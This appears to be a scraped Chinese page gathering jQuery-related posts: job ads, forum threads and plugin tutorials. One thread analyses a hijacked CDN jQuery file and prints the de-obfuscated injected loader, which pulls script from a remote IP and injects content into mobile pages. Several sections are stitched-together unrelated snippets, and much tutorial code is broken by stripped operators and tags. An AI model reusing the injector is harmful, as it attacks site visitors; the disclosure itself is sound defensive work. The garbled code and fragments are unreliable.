[深圳 / 各大城市…] 内推-前端开发工程师 15k-30k

划重点:部门直招,有可视化经验优先,熟悉 d3.js 优先 公司名称: 北京海致星图科技有限公司 地区: 深圳·后海 岗位名称: 前端开发工程师 岗位要求: 计算机和软件工程相关专业,计算机基础扎实,本科两年及以上; 了解 html 的发展历史和 w3c 标准; 注重 html 的语义化、熟练掌握 css 盒模型盒和选择器的使用、熟悉页面和元素的布局技巧、熟练掌握 js 事件处理机制和事件冒泡; 对原生的 js 要求有一定的掌握,熟悉 js 的语言特性、掌握 js 的原型机制、继承实现和闭包等知识点; 熟练 jQuery 的使用,掌握 jQuery 插件的封装原理,能够独立封装 jQuery 插件; 理解 MVVM 框架的思想,使用过 vue 和 react,或深入一门; 了解 http 协议,掌握一定的调试技巧,熟练 chrome 和 firebug 等调试工具的使用; 在 pc 端和 web 移动端都有项目经验,理解响应式布局的理念和 rem 弹性布局; 对 web 性能优化和浏览器兼容性有一定的理解和实践经验; 有 linux 的使用经验,熟练 node、gulp、webpack 等开发环境的搭建; 了解 HTML5 和 CSS3 的新特性,并有相关的实践经验; 英语四级及以上,其他同等级的证书亦可,有阅读英文技术文档的习惯; 投递简历时,要求附带个人作品或相关链接; 做事主动,责任心强,对技术有更高的追求,对编码质量有要求,对自己有要求。 加分项: 掌握一门后端语言,如 nodeJs、php、java 等,有后端的从业经验; 对设计模式有一定的研究; 喜欢从事前端数据可视化的工作, 喜欢编写小插件; 注重知识的系统化总结。 业务范围: 深圳研发中心 base 深圳,负责各产品线的研发迭代 交付中心 需要出差至项目现场,如佛山、东莞、厦门、兰州、上海等地,负责产品的交付及定制化开发 薪资范围: 15k-30k * 15 内推邮箱: eGlleXV6aG9uZ0BzdGFyZ3JhcGguY24= 这 JD 是五年前的

MSDN ITELLYOU 网站被劫持挂马?

今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容: https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js 终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下 var c = function(u) { var d = document, e = d.createElement(‘script’); e.type = ‘text/javascript’; e.src = u; d.getElementsByTagName(‘head’)[0].appendChild(e); }, s = ‘http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2’; if ((typeof M7f == ‘undefined’) && (!navigator.platform.match(/Win32|Win64/i))) c(‘http://120.79.33.84:1616/mb.php?id=lp01’); if ((typeof M7f == ‘undefined’) || (M7f != s)) { M7f = s; c(s + Math.random()); } 看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看: !(function() { if (typeof MB7F2 == ‘undefined’) { MB7F2 = 1; var head = document.getElementsByTagName(‘head’)[0]; var script = document.createElement(‘script’); script.type = ‘text/javascript’; script.onload = script.onreadystatechange = function() { if (!this.readyState || this.readyState === “loaded” || this.readyState === “complete”) { var isMobile = { Win: function() { return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false }, Qqb: function() { return navigator.userAgent.match(/QQ/i) ? true : false }, Phone: function() { return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false } }; var bz = 0; if (isMobile.Win() || isMobile.Qqb()) { bz = 0 } else if (isMobile.Phone()) { var slt = Math.floor(Math.random() * 1000000) + 1000; bz = 1; var nd = document.createElement(“div”); nd.id = slt; nd.style.position = “fixed”; nd.style.zIndex = “9999”; nd.style.width = “100%”; nd.style.height = “auto”; nd.style.bottom = “-6px”; nd.style.right = “0px”; document.body.insertBefore(nd, document.body.firstChild); var slt = ‘#’ + slt } var tu = “http://120.79.33.84:1616/mb1.php?id=lp01”; var setcookies = function() { var exp = new Date(); var value = exp.getTime(); exp.setTime(exp.getTime() + 3000 * 1000); document.cookie = “mblast=” + escape(value) + “;expires=” + exp.toGMTString() }; var getCookie = function(d) { var f = document.cookie; var g = f.split(“; “); for (var e = 0; e < g.length; e++) { var c = g[e].split(“=”); if (c[0] == d) { return c[1] } } return 0 }; var mbbt = new Date(); mbbt = (mbbt.getTime() – getCookie(“mblast”)) / 1000; if ((bz != 0) && (mbbt > 81)) { $(document).ready(function() { $.ajax({ type: ‘get’, url: tu + “&new=” + Math.random() + “&mblast=” + mbbt, dataType: ‘jsonp’, jsonp: “jsoncallback”, success: function(data) { $(slt).html(data); setcookies() }, error: function() {} }) }) } } }; script.src = ‘http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2’; head.appendChild(script) } })(); 因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。 因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。 没有遇到所说的问题,能正常打开。是不是你被运营商劫持了?

2018 年, JavaScript 都经历了什么

ECMAScript 2018 Node 10 Vue 3.0 Babel 7 jQuery 3.3.0 V8 引擎 10 周年 NPM 模块 event-stream 被黑客攻击 《 Refactoring 》第 2 版改用 JavaScript GitHub 抛弃 jQuery 微软基于 Chromium 重写浏览器 Visual Studio Code 超越 Sublime …. https://mp.weixin.qq.com/s/oWLFf8zS_2_AQBkKaz6Tiw V 友觉得还有啥事比较重要或者有意思呢? Antd 圣诞彩蛋

你们真的可以忍受 webpack 要编译 2-5 秒吗?

最近开发前端,写到中途发现编译速度越来越慢,用的是 vue-cli。后面受不了了,直接用 JQuery 重写了一遍,大家 webpack 一般速度如何 第 1 条附言  ·  2019-01-01 19:22:49 +08:00 我觉得 Java 那些很慢完全能够理解,因为他编译成 class 也需要时间。但是 JavaScript 感觉这点就很不好,要调一个 BUG 写几处等 2S,这样算下来效率极低,脑子存储的信息被等待干扰的严重,头疼,parcel 也解决不了这个问题 第 2 条附言  ·  2019-01-02 09:19:45 +08:00 备注一下,我是用 JQuery+Vue-cdn 来另外写一个项目的,其实之前这种不带编译的方式写起来快很多,最近突发奇想换成编译的,但是大幅度降低了开发效率。无意黑 Vue,只是对 Webpack 编译速度不太满意 第 3 条附言  ·  2019-01-02 11:01:45 +08:00 各位,我不是说 build,是说实时编辑之后 webpack 进行编译(然后去 chrome 那里调界面)。因为脚本我的理解,应该就是免编译即使改即使出来的,但是现在感觉越来越重了,哪怕我改个变量也要等半天,毕竟 js 是动态的,很多东西都是未知的 脚本语言的优势[狗头]

使用 React 开发的页面如何在 Devtools 里面操作点 DOM 测试?

以前用 jQuery 的时候,可以直接在 Devtools 里面用 $() 方法改点 DOM 测试,现在用 React,只能用原生 JS 么? 原不原生无所谓,react 是单向数据流,页面只是根据数据展示的,你直接操作 dom 修改页面上的值不一定能达到真正修改值的目的,可能需要使用模拟点击,输入之类的的软件更好一点

匆匆忙忙写了一个模块化的 DOM 库

仓库: https://github.com/nzbin/domq 首先声明,这不是完全原创的项目,而是在 Zepto 的基础上改造的,可以说是一个迷你版的 jQuery。相比 Zepto,这个 DOM 库更纯粹,只有和 DOM 操作有关的 API,修复了 Zepto 的一些方法,而且支持模块化加载,非常适合搭配现有流行框架使用,目前该项目已经在图片查看器 https://github.com/nzbin/photoviewer 中使用。 说一些题外话吧,很多人都说 jQuery 过时了,但是在短平快的小项目中,jQuery 依然是不二的选择。其次根据个人经验,在使用框架的时候,复杂的 DOM 操作操作依然很繁琐,几年前 GitHub 上就出现了类似 YouMightNotNeedjQuery 这一类的项目,但是通过对比也会发现,还是 jQuery 的 API 更加灵活。 令人惊喜的是,Zepto 就是在通过原生 JS 实现了 jQuery 的一套 API,可以说是 YouMightNotNeedjQuery 的最佳实践。但是 Zepto 不支持模块化加载,很多方法用不到,而且目前维护有些停滞。所以本人最终还是根据自己的需求对 Zepto 进行了改造。欢迎各位批评指正。 You might not need jQuery 的最佳实践是引入一个实现了 jQuery API 的 Zepto,怎么感觉好像哪里不对?

求推荐前端 UI 框架

我是后端开发,想做一个自己的工具站点,对前端的各种库(框架)了解的少。 现在用的库是 jquery,UI 是 bootstrap,觉得颜色偏单调,而且组件不够丰富,还望前端大大推荐好用好看的 UI 库呀 第 1 条附言  ·  2019-01-07 14:49:40 +08:00 补充下,个人站点是 pc 版的,还是基于 jquery 的 UI 插件吧,vue 和 react 没有用过,学又得花一段时间,成本高许多。 react+antd

2019 年对于一个初级前端,该如何学习?

毕业到现在工作小半年了,一直用 jquery 开发,陆陆续续学过配置 webpack,node 基础,vue 全家桶(vuex 没用过),但工作中实际没有用过这些技术栈,工作之余一直在看《 js 高级程序设计》想提高 js 能力和 dom 能力,学习了解面向对象和设计模式,请问这样的学习方式对于工作中的我来说是好是坏? 面向对象是一个非常好的思路,我建议学习如何使用 ts 开发,ts 可以保证面向对象的大部分功能,面向对象本身是一个高效的开发方式,现在 vue 也可以用 ts 开发了。面向对象在 js 的应用不够明显,虽然是用了,实现了,但是也仅仅是会面向对象思路的人可以剖析。初学者太累了,直接上 ts 让你体验下面向对象的开发。比起自己学习书上的内容,很多时候看项目来得更快,可以考虑看看一些工具和 ui 框架的源码,看他们是怎么设计一个组件,封装和里面封装代码的实现。现阶段没有应用理解别人为什么设计这些东西,搞设计模式,我感觉是一个很累的东西,等回头从新复习下,可以事半功倍。我是认为死读书属于闭门造车系列的。

[北京] 招 Web 前端工程师 (Vue, jQuery)

工作内容 后台管理系统网站的开发及业务逻辑实现 (主要使用 Vue,原生 JavaScript, jQuery) 要求 1 年以上 Vue、jQuery 等框架开发经验 响应式网页开发经验 快速学习成长,并迅速适应创业团队氛围 熟悉 Restful API 独立解决问题能力 良好沟通能力 加分项 有 jQuery 经验 有后台管理系统开发经验 熟悉 pug.js 有独立负责项目经验 PostgreSQL, MySQL 等关系型数据库使用经验 有后端开发工作经验 熟悉网络安全最佳实践 开源项目 技术团队 技术团队由一班不同背景、爱好技术的年轻人组成。团队中有的拥有海外留学、硅谷工作等经历,有的对代码的性能有严格的要求,有的精通多种技术。加入我们,你将使用行内最前沿的技术,用最高效的手段解决各种技术问题。 投递请通过 Email:aHJAanVueWliai5jb20= (base64) 第 1 条附言  ·  2019-05-07 20:25:14 +08:00 更多信息请看 https://www.lagou.com/jobs/5171749.html 没经验的收吗?https://github.com/Aaron-Bird/resume/blob/master/resume.pdf

前端入坑系列来了~

计划写一个例子系列来帮助前端新童鞋入坑,同时也梳理一下自己的知识体系。预计有 30 篇左右,每周 2~3 篇,放到掘金上了,根据地还是 V 站~ 目前是第一篇: https://juejin.im/post/5cf49d5151882524156c9808 例子后面附有问题,如果不能完全解答的可以慢慢来,想要入门并理解原生开发的话,建议至少要能回答 JQuery 这部分后面的问题。 目标是就算每次只花几分钟看例子然后跑一遍,这个系列完成后也能依葫芦写网页应用了~ 内容是否适合入坑阅读还有待验证~可以提建议~ 第 1 条附言  ·  2019-06-04 16:11:57 +08:00 第二篇:如何压缩 JS 代码? https://juejin.im/post/5cf60fd96fb9a07ee9585c24 关注一波

Unity 开发,想转前端或者后端

3 年 Unity VR/AR 开发经验,一年“主程”经验。迫于 VR/AR 行情太惨淡,也不打算从事游戏开发,所以很认真考虑转行做前端和后端。 过去一年其实做过一点前端和后端的工作: 1.教学资源展示网站的前台和后台:Bootstrap+JQuery+PHP 一顿乱梭,代码基本不能看,但万幸能运行起来。 2.公司软件的验证系统:由于公司软件是面向 B 端客户的,需要登录验证和功能权限,所以开发了一个这样的功能。后端 Go(beego),管理端 Vue.js 实现,管理端目前还很简陋。 3.某学校的“合作”项目:虚拟仿真实验室,前端 Bootstrap+JQuery,后端 Go(beego),实验内容是 unity webgl 实现的。 个人的基本情况: 工作经验:3 年,前两年基本没项目经验。 年龄:22。 学历:大专。 数据结构和算法这块比较薄弱,没怎么花精力学过。 希望各位大佬能给点意见指点指点小弟,感激不尽。 研究研究 web 前端的可视化,地图什么的。好歹跟你现在的比较接近,需要的公司也不少。

【数据结构】27、红黑树,节点插入,修复平衡操作总结(针对jdk8中hashmap冲突过多链表转红黑树)

一.原生JavaScript编写tab切换 二.jQuery编写tab切换 在用jQuery编写选项卡过程中,重要的事搞清楚 .eq() 和 .index() 的使用方法. .eq()是jQuery遍 … /* css3三角形(向上 ▲) */ div.arrow-up { width:0px; height:0px; border-left:5px solid transparent;  /* 右透明 … tomcat中如何禁止列目录下的文件在{tomcat_home}/conf/web.xml中,把listings参数设置成false即可,如下: servlet servlet … background 在一个声明中设置所有的背景属性. background-attachment 设置背景图像是否固定或者随着页面的其余部分滚动. background-color 设置元素的背景颜 … JSON技术的调研报告 一 .各个JSON技术的简介和优劣 1.json-lib json-lib最开始的也是应用最广泛的json解析工具,json-lib 不好的地方确实是依赖于很多第三方包, 包括 … 1.修改pom文件,添加坐标 !– jstl —          dependency              groupId javax.servlet … 这篇是10年ICML的论文,但是它是从原理上来分析池化的原因,因为池化的好坏的确会影响到结果,比如有除了最大池化和均值池化,还有随机池化等等,在eccv14中海油在顶层加个空间金字塔池化的方法.可谓多 … 2005年谷歌从安迪·鲁宾(Andy Rubin)手中收购Android系统,起初安迪·鲁宾(Andy Rubin)只是想为数码相机开发出一个更为先进的系统,所以有了 Android.但是智能手机行业 … [抄题]: Given an arbitrary ransom note string and another string containing letters from all the magaz … 来源:http://www.fenbi360.net/Content.aspx?id=1021 t=jc UDP 打洞 原理 1.       NAT分类 根据Stun协议 …

jquery 实现抖动效果

jQuery.fn.shake = function (intShakes /*Amount of shakes*/, intDistance /*Shake distance*/, intDuration /*Time duration*/) { this.each(function () { var jqNode = $(this); jqNode.css({ position: ‘relative’ }); for (var x = 1; x = intShakes; x++) { jqNode.animate({ left: (intDistance * -1) }, (((intDuration / intShakes) / 4))) .animate({ left: intDistance }, ((intDuration / intShakes) / 2)) .animate({ left: 0 }, (((intDuration / intShakes) / 4))); } }); return this; } 调用方法: $(“抖动元素”).shake(次数, 距离, 持续时间); $(“#userName”).shake(2, 10, 400); 转载

Jquery 选择器注意的问题–记录(五)

1. $(“p.intro”)-  所有 的 p 元素 $(“div#intro .head”)- id=”intro” 的 div 元素中的所有 的元素 $(“ul li:first”)- 每个 ul 的第一个 li 元素 2. jQuery 使用 XPath 表达式来选择带有给定属性的元素。 $(“[href]”) 选取所有带有 href 属性的元素。 $(“[href=’#’]”) 选取所有带有 href 值等于 “#” 的元素。 $(“[href!=’#’]”) 选取所有带有 href 值不等于 “#” 的元素。 $(“[href$=’.jpg’]”) 选取所有 href 值以 “.jpg” 结尾的元素。 3. jQuery 名称冲突 jQuery 使用 $ 符号作为 jQuery 的简介方式。 某些其他 JavaScript 库中的函数(比如 Prototype)同样使用 $ 符号。 jQuery 使用名为 noConflict() 的方法来解决该问题。 var jq=jQuery.noConflict(),帮助您使用自己的名称(比如 jq)来代替 $ 符号

20151124 Jquery UI form 表单变成dialog

!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd” html xmlns=”http://www.w3.org/1999/xhtml” head meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ / title 无标题文档 /title script src=”jquery-1.11.3.js” /script script src=”jquery-ui.js” /script link href=”jquery-ui.css” rel=”stylesheet” / script type=”text/javascript” $(function(){ $(“#form1″).dialog({ autoOpen: false,//设置属性,不自动弹出对话框 title:”欢迎登录”,//设置dialog标题 height: 300,//高度 width: 350,//宽度,其余属性都为默认 }) $(“#login1”).click(function() { //为按钮添加点击事件,点击按钮弹出对话框 $(“#form1”).dialog(“open”); }); }); /script /head body button id=”login1″ 用户登录 /button div id=”form1″ form 用户名: input type=”text” / br / 密 nbsp; nbsp; nbsp;码: input type=”password” / br / input type=”submit” value=”登录” / input type=”button” value=”取消” / /form /div /body /html 效果截图 以下是今天对jqueryui.js 源码中dialog的一点截图说明

在同一个页面使用多个不同的jQuery版本,让它们并存而不冲突

– jQuery自诞生以来,版本越来越多,而且jQuery官网的新版本还在不断的更新和发布中,现已经达到了1.6.4版本,但是我们在以前的项目中就已经使用了旧版本的jQuery,比如已经出现的:1.3.X、1.4.X、1.5.X、1.6.2等等。 由于项目的需要,必然也需要不断的使用较新版的jQuery,但对于原来就已经存在并已经采用了的旧jQuery版本,我们如何让多个不同的jQuery版本在同一个页面并存而不冲突呢? 其实,利用jQuery.noConflict()特性,我们不仅可以让jQuery与其他的JS库并存,比如Prototype。也可以与jQuery本身的其他不同版本并存而不冲突。 !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html   head   title 在同一个页面中加载多个不同的jQuery版本 /title   !– 从谷歌服务器加载jQuery最新版本 —   script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1/jquery.js” /script   script type=”text/javascript”  var jQuery_New = $.noConflict(true);   /script   !– 加载jQuery1.6.2版本 —   script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.6.2/jquery.min.js” /script   script type=”text/javascript”  var jQuery_1_6_2 = $.noConflict(true);   /script   !– 加载jQuery1.5.2版本 —   script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.5.2/jquery.min.js” /script   script type=”text/javascript”  var jQuery_1_5_2 = $.noConflict(true);   /script   !– 加载jQuery1.4.2版本 —   script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.4.2/jquery.min.js” /script   script type=”text/javascript”  var jQuery_1_4_2 = $.noConflict(true);   /script   !– 加载jQuery1.3.2版本 —   script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.3.2/jquery.min.js” /script   script type=”text/javascript”  var jQuery_1_3_2 = $.noConflict(true);   /script   script type=”text/javascript”  alert(jQuery_New.fn.jquery);  alert(jQuery_1_6_2.fn.jquery);  alert(jQuery_1_5_2.fn.jquery);  alert(jQuery_1_4_2.fn.jquery);  alert(jQuery_1_3_2.fn.jquery);    jQuery_New(function($){$(‘ p 我是最新的’+$.fn.jquery+’版本添加进来的。 /p ‘).appendTo(‘body’);});  jQuery_1_6_2(function($){$(‘ p 我是’+$.fn.jquery+’版本添加进来的。 /p ‘).appendTo(‘body’);});  jQuery_1_5_2(function($){$(‘ p 我是’+$.fn.jquery+’版本添加进来的。 /p ‘).appendTo(‘body’);});  jQuery_1_4_2(function($){$(‘ p 我是’+$.fn.jquery+’版本添加进来的。 /p ‘).appendTo(‘body’);});  jQuery_1_3_2(function($){$(‘ p 我是’+$.fn.jquery+’版本添加进来的。 /p ‘).appendTo(‘body’);});   /script   /head   body  在同一个页面中加载多个不同的jQuery版本   br   /body /html 转自:

一种 jquery 检索方案

整理自: !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head title struts2 /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ script type=”text/javascript” src=”http://lib.sinaapp.com/js/jquery/1.7.2/jquery.min.js” /script script type=”text/javascript” //数据源,json的格式. var user=[{“id”: 1, “name”: “张三”,”age”:”25″}, {“id”: 2, “name”: “李四”,”age”:”35″}, {“id”: 3, “name”: “王五”,”age”:”20″}, {“id”: 4, “name”: “老王”,”age”:”20″}, {“id”: 5, “name”: “老张”,”age”:”25″}, {“id”: 6, “name”: “李四”,”age”:”35″}, {“id”: 7, “name”: “王五”,”age”:”20″}, {“id”: 8, “name”: “老王”,”age”:”20″}, {“id”: 9, “name”: “abc”,”age”:”25″}, {“id”: 10, “name”: “李b四”,”age”:”35″}, {“id”: 11, “name”: “125”,”age”:”20″}, {“id”: 12, “name”: “246”,”age”:”20″}, {“id”: 13, “name”: “张三”,”age”:”25″}, {“id”: 14, “name”: “李四”,”age”:”35″}, {“id”: 15, “name”: “王五”,”age”:”20″}, {“id”: 16, “name”: “老王”,”age”:”20″}, {“id”: 17, “name”: “张三”,”age”:”25″}, {“id”: 18, “name”: “李四”,”age”:”35″}, {“id”: 19, “name”: “王五”,”age”:”20″}, {“id”: 20, “name”: “老王”,”age”:”20″}]; $(document).ready(function(){ var seach=$(“#seach”); seach.keyup(function(event){ //var keyEvent=event || window.event; //var keyCode=keyEvent.keyCode; // 数字键:48-57 // 字母键:65-90 // 删除键:8 // 后删除键:46 // 退格键:32 // enter键:13 //if((keyCode =48 keyCode =57)||(keyCode =65 keyCode =90)||keyCode==8||keyCode==13||keyCode==32||keyCode==46){ //获取当前文本框的值 var seachText=$(“#seach”).val(); if(seachText!=””){ //构造显示页面 var tab=” table width=’300′ border=’1′ cellpadding=’0′ cellspacing=’0′ tr align=’center’ td 编号 /td td 名称 /td td 年龄 /td /tr //遍历解析json $.each(user,function(id, item){ //如果包含则为table赋值 if(item.name.indexOf(seachText)!=-1){ tab+=” tr align=’center’ td “+item.id+” /td td “+item.name+” /td td “+item.age+” /td /tr } }) tab+=” /table $(“#div”).html(tab); //重新覆盖掉,不然会追加 tab=” table width=’300′ border=’1′ cellpadding=’0′ cellspacing=’0′ tr align=’center’ td 编号 /td td 名称 /td td 年龄 /td /tr }else{ $(“#div”).html(“”); } // } }) }); /script /head body 名字: input id=”seach” / br/ br/ div id=”div” /div /body /html

jQuery简单易用的网页内容打印插件

业务开发过程中,为了避免用户的误操作,提示框是必要的,于是琢磨出了下面这个使用,方便的提示框 还要引入遮罩层的样式如下: /*弹出层*/.input{height: 32px;border: 1px … jQuery 最令人印象深刻的应用之一就是对图片的处理,它可以让帮助你在你的项目中加入一些让人惊叹的图片切换效果.ZOOM 是一款全屏效果的 jQuery 图片切换展示插件,支持键盘前后按键切换,支持 … PNotify 是一个 JavaScript 通知插件,前身为 Pines Notify.它旨在提供无与伦比的灵活性,同时很容易使用.它可以提供无阻塞的通知,允许用户无需关闭通知或者提示信息就可以点击 … Echo.js 是一个独立的延迟加载图片的 JavaScript 插件.Echo.js 不依赖第三方库,压缩后不到1KB大小. 延迟加载是提高网页首屏显示速度的一种很有效的方法,当图片元素进入窗口可视 … 实现javascript打印功能,打印整个页面就很简单,但如果指定打印某一个区域就有点难点,这里有一个jQuery插件PrintArea可实现打印页面某区域功能. 使用说明需要使用jQuery库文件和 … jQuery庞大的插件库总是让人欢喜让人忧,如何从庞大的插件库里挑出适合自己的插件,总是让很多缺少经验的朋友头疼的事!今天为大家推荐几款简单实用的Tabs选项卡插件,推荐理由:简单易用灵活,样式美观, … 工作中经常要用到分页功能.为了方便封装了一个比较通用的分页插件开源出来了,简单易用. 官网:https://cwlch.github.io/Ch_Paging 下载地址:https://github. … baguetteBox.js 是一个简单和易于使用的响应式的图像 Lightbox 插件,支持滑动手势在移动设备上使用.纯 JavaScript 实现,不依赖第三方库和插件,赶紧来体验吧. 在线演示  … 使用的组件:jQuery打印插件PrintArea,有兴趣的可以研究一下. 使用方法略过,这里将介绍如何实现打印多页是可以分页. 现在提供两种方法思路: 1.根据特定的打印机型号和使用的纸张类型,然后 …

学习《深度学习与计算机视觉算法原理框架应用》《大数据架构详解从数据获取到深度学习》PDF代码

排版: Bootstrap定义的全局 font-size 是 14px,line-height 是 20px.这些样式应用到了 body 和所有的段落上.另外,对 p … 一.概述 研究了上节的Jquery自定义扩展方法,自己一直想做用jquery写一个小的插件,工作中也用到了用JQuery的日历插件,自己琢磨着去造个轮子–HTML5手机网页日历控件,废话不多说,先看 … 病毒侵袭持续中 Problem’s Link:http://acm.hdu.edu.cn/showproblem.php?pid=3065 Mean: 略 analyse: AC自动机的运用. 这一题 … 为什么要做这个词典? 学了正则表达式要运用 增加WP开发熟练度 项目中运用了那些技术? HttpClient 正则表达式 数据绑定 详解 通过http://cn.bing.com/dict/searc … 默认的时候,-128–127范围内的数会被缓冲 但是jvm启动的时候可以修改启动参数-Djava.lang.Integer.IntegerCache.high=2000 来修改上限,但是下限是不可以 … 转自:http://blog.csdn.net/dakaring/article/details/46300963#comments 安装方法 方法一: 1.Android studio File-& … 1:ACE_Event_Handler类 头文件“Event_Handler.h” 在ACE Reactor框架中,ACE_Event_Handler是所有事件处理器的基类.ACE_Event_Han … 一.数据库简介 SQLServer环境配置 安装好数据库以后怎么启用sa账号来访问数据库. 1.先用windows账号登录数据库. 2.启用windows身份验证方式和sql server身份验证方式 … 一.文本文件和二进制文件的定义 计算机上所有文件存储在存储设备上都是二进制的, 所以文本文件和二进制文件的区别并不是物理上的, 而是逻辑上的!简单来说, 文本文件是基于字符编码的文件, 常见的编码有A … 定时器Timer ScheduledThreadPoolExecutor /** * @ClassName: TimerTest * @author: daniel.zhao * @date: …

JQuery之滑动幻灯片插件Easy Slider初体验

找到一款好的幻灯片插件不容易,找到一款功能全并且使用很简单的幻灯片更不容易,今天为大家分享一款全能的幻灯片插件glide.js,也是我现在在使用的一款插件. jquery.glide.js是响应和触摸 … 首页banner的酷炫效果多来自全屏大图的幻灯片动画,下面提供一种完美兼容的jquery动画特效:全新jquery多点滑动幻灯片——全屏动画animateSlide(代码完全原创). 直接上代码,把h … 1.网页table增删样式代码 演示和下载地址 2.jQuery左右滑动幻灯片插件 演示和下载地址 3.jQuery文字轮播焦点图 演示和下载地址 4.网页文字焦点图切换 演示和下载地址 5.jQue … Wow Slider  WOW Slider是一款小巧易用的网页滑块设计.该软件内置大量的模版和工具,让你轻松设计出完美的视觉效果.他还可以帮助用户在短时间内创造出梦幻般的滑块,而无需编码和图像编辑, … demo:http://www.sucaihuo.com/jquery/0/6/demo/ FlexSlider是一个非常出色的jQuery滑动切换插件,它支持所有主流浏览器,并有淡入淡出效果.适合所 … jQuery 是一个非常优秀的 Javascript 框架,使用简单灵活,同时还有许多成熟的插件可供选择.其中,最令人印象深刻的应用之一就是对图片的处理,它可以让帮助你在你的项目中加入精美的效果.今天 … FlexSlider是一个非常出色的jQuery滑动切换插件,它支持所有主流浏览器,并有淡入淡出效果.适合所有初级和高级网页设计师使用.不过很多人都只是使用默认的参数,今天来说说具体的参数来给大家看看 … 插件简介 lightslider是一款轻量级的响应式jQuery幻灯片插件.lightslider幻灯片插件能够支持移动触摸设备,它可以制作为带缩略图的内容幻灯片,或者制作为无限循环的旋转木马.它的特 … SlidesJS 是一款老牌的 jQuery 幻灯片插件,经过多年的发展,已经成为一款功能齐全,设计精巧的幻灯片插件.支持循环.自动播放功能和淡入淡出过渡效果,并且能够自动生成分页,可以帮助开发者制作 …

手把手教你开发jquery插件(三)

First, i want to add options to Tabs constructor like this: var tabs = $(“div.tabs”).tabs({ “openEvent”: “mouseover”, “disabled”: [1, 2], “current”: 3 }); These options are borrowed from jQuery UI Tabs: openEvent:(String,”click”) The type of event to be used for selecting a tab. disabled:(Array,[]) An array containing the position of the tabs (zero-based index) that should be disabled on initialization. current:(Number,0) Zero-based index of the tab to be selected on initialization. To set all tabs to unselected pass -1 as value. The plugin code: (function($) { function Tabs(tabs, panes, options) { var that = this; this.options = { “openEvent”: “mouseover”, “disabled”: [], “current”: 0 }; $.extend(this.options, options); this.tabs = tabs.removeClass(“current”); this.panes = panes.hide(); this.current = this.options.current; this.openTab(this.current); this.tabs[this.options.openEvent](function() { that.openTab(that.tabs.index(this)); }); } Tabs.prototype = { openTab: function(index) { this.current = index; if (this.current !== -1 $.inArray(this.current, this.options.disabled) === -1) { this.tabs.removeClass(“current”).eq(this.current).addClass(“current”); this.panes.hide().eq(this.current).show(); } } }; $.fn.tabs = function(options) { var tabs = this.children(“ul”).find(“li a”); var panes = this.children(“div”); return new Tabs(tabs, panes, options); }; }); Second, add some events to the plugin like this: var tabs = $(“div.tabs”).tabs({ “openEvent”: “mouseover”, “disabled”: [1, 2], “current”: 3, “events”: { “open”: function(event, index) { console.log(“[events-open]You click tab ” + index); } } }); The plugin source code: (function($) { function Tabs(tabs, panes, options) { var that = this; this.options = { “openEvent”: “mouseover”, “disabled”: [], “current”: 0, “events”: {} }; $.extend(this.options, options); this.tabs = tabs.removeClass(“current”); this.panes = panes.hide(); this.current = this.options.current; $.each(this.options.events, function(key, value) { $(that).bind(key, value); }); // Open current tab this.openTab(this.current); // Register open tab event this.tabs[this.options.openEvent](function() { that.openTab(that.tabs.index(this)); }); } Tabs.prototype = { openTab: function(index) { this.current = index; if (this.current !== -1 $.inArray(this.current, this.options.disabled) === -1) { this.tabs.removeClass(“current”).eq(this.current).addClass(“current”); this.panes.hide().eq(this.current).show(); $(this).trigger(“open”, [this.current]); } } }; $.fn.tabs = function(options) { var tabs = this.children(“ul”).find(“li a”); var panes = this.children(“div”); return new Tabs(tabs, panes, options); }; }); The result: [events-open]You click tab 3 [events-open]You click tab 4 [events-open]You click tab 0 Notice: In this section, we bind event to a JavaScript object not the jQuery object, which i have mentioned in my last article. Third, add some methods so that we can invoke like this: tabs.bind(“open”, function(event, index) { console.log(“[bind-open]You click tab ” + index); }); Source code: Tabs.prototype = { openTab: function(index) { // … }, bind: function(name, fn) { $(this).bind(name, fn); } }; The result: [events-open]You click tab 3 [events-open]You click tab 4 [bind-open]You click tab 4 [events-open]You click tab 3 [bind-open]You click tab 3 [events-open]You click tab 0 [bind-open]You click tab 0 Well, this series of tutorials has been finished. Pretty simple, isn t it?(来源:程序员)

26-[jQuery]-内容补充

